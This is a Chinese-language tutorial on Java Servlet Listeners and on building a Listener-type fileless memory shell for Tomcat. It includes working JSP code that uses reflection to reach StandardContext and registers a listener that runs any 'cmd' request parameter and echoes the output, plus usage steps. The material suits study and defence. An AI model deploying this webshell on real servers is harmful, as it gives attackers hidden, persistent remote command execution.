Listen内存马
Listen内存马
在 Java Web 领域中,Listener(监听器) 是 Servlet 规范定义的一种组件,用于监听 Web 应用中特定事件的发生(如对象创建 / 销毁、属性变化等),并触发相应的处理逻辑。而Listener 型内存马则是利用 Listener 的机制,通过动态注册恶意监听器实现未授权操作的攻击手段。
一、Java 中的 Listener 监听器
1. 核心作用
Listener 用于监听 Web 应用中域对象(如 ServletContext、HttpSession、ServletRequest)的生命周期,或域对象中属性的变化,当事件触发时执行预设逻辑。常见应用场景包括:
初始化资源(如数据库连接池)
统计在线用户数量
监听请求参数变化等。
2. 主要类型
根据监听对象不同,Listener 可分为:
ServletContextListener:监听 Web 应用的启动(contextInitialized)和关闭(contextDestroyed)。
HttpSessionListener:监听会话(Session)的创建(sessionCreated)和销毁(sessionDestroyed)。
ServletRequestListener:监听请求(Request)的创建(requestInitialized)和销毁(requestDestroyed)。
其他扩展类型:如监听属性变化的ServletContextAttributeListener、HttpSessionAttributeListener等。
3. 工作原理
定义监听器:实现上述对应的 Listener 接口,重写事件处理方法(如contextInitialized)。
注册监听器:
静态注册:在web.xml中通过
标签配置全类名。 动态注册:通过ServletContext的addListener方法在运行时注册(需满足 Servlet 3.0 + 规范)。
- 事件触发:当被监听的事件(如应用启动、Session 创建)发生时,容器(如 Tomcat)自动调用监听器的对应方法。
4. 代码演示
新建一个listener项目,
创建类
package org.example.listendemo;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
public class ListenTest implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent sre) {
ServletRequestListener.super.requestDestroyed(sre);
}
@Override
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("requestInitialized");
HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
String requestURI = request.getRequestURI();
String cmd=request.getParameter("cmd");
if(requestURI.contains("/name")){
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
}配置web.xml
<listener>
<listener-class>org.example.listendemo.ListenTest</listener-class>
</listener>然后启动项目, 当访问路径/name的时候, 并且参数cmd传入了命令, 就会执行
二、Listener 型内存马
1. 核心原理
内存马(无文件马)的本质是通过动态注入恶意代码到运行中的 Java 进程,无需落地文件即可实现持久化控制。Listener 型内存马利用 Listener 的动态注册机制,在目标应用中注入恶意监听器,当监听器的事件被触发时(如每次请求到来),执行攻击逻辑(如命令执行、数据窃取等)。
2. 实现步骤
以最常见的ServletRequestListener型内存马为例,核心流程如下:
- 获取 ServletContext 对象:
利用漏洞(如反序列化、命令执行等)获取当前 Web 应用的ServletContext实例(它是全局唯一的域对象,可用于注册监听器)。
- 动态注册恶意监听器:
构造一个实现ServletRequestListener的恶意类,在requestInitialized方法中编写恶意逻辑(如执行系统命令),然后通过ServletContext.addListener(恶意监听器实例)动态注册。
- 触发恶意逻辑:
每次有 HTTP 请求到达时,容器会自动调用requestInitialized方法,触发恶意代码执行(无需额外触发条件,隐蔽性强)。
三. 调式代码
在上面代码的 System.out.println("requestInitialized");打上断点, 开始调式

查看堆栈调用执行的方法, 查看当前位置的上一步, 点击进入

可以看到在StandardContext类中调用了fireRequestInitEvent方法, 方法中执行了requestInitialized, 而此处的listener就是我们自己前面定义的监听器ListenTest.
点击查看listener的定义, 发现来自
ServletRequestListener listener = (ServletRequestListener) instance;
查看值, 此时instance就是我们定义的监听器
进一步分析instance的来源
发现他是个for循环执行的instances数组.
上面图片可以看出数组就有一个值, 就是我们定义的监听器, 而数组的定义来自
Object instances[] = getApplicationEventListeners();查看getApplicationEventListeners
public Object[] getApplicationEventListeners() {
return applicationEventListenersList.toArray();
}getApplicationEventListeners()方法是Tomcat中StandardContext类的一个方法,它的作用是返回当前Web应用程序中所有已注册的应用事件监听器(Application Event Listeners)的数组形式。
所以通过反射获取到StandardContext对象后,可以调用addApplicationEventListener()方法将恶意监听器添加到applicationEventListenersList中。当Tomcat处理请求时,会遍历这个列表中的所有监听器并调用相应的方法, 由此注入内存马
内存马代码
1. 准备恶意类
<%!
public class ListenerShell implements ServletRequestListener {
@Override
public void requestInitialized(ServletRequestEvent sre) {
ServletRequest req = sre.getServletRequest();
Class reqClass = req.getClass();
try {
Field field = reqClass.getDeclaredField("request");
field.setAccessible(true);
Response resp = ((Request) field.get(req)).getResponse();
String cmd = req.getParameter("cmd");
if (cmd != null) {
Process proc = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(
new InputStreamReader(proc.getInputStream()));
String line;
while ((line = br.readLine()) != null) {
resp.getWriter().println(line);
}
br.close();
}
} catch (Exception e) {
throw new RuntimeException(e);
}
}
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {}
}
%>2. 获取StandardContext
<%
// 从request中获取servletContext
ServletContext servletContext = request.getServletContext();
// 从servletContext中获取applicationContext
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
// 从applicationContext中获取standardContext
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
%>3.动态注入
<%
standardContext.addApplicationEventListener(new ListenerShell());
%>4. 使用流程
首先访问?cmd=calc, 肯定没有反应
然后访问/filtener将其注册
然后/?cmd=calc就可以弹出计算器了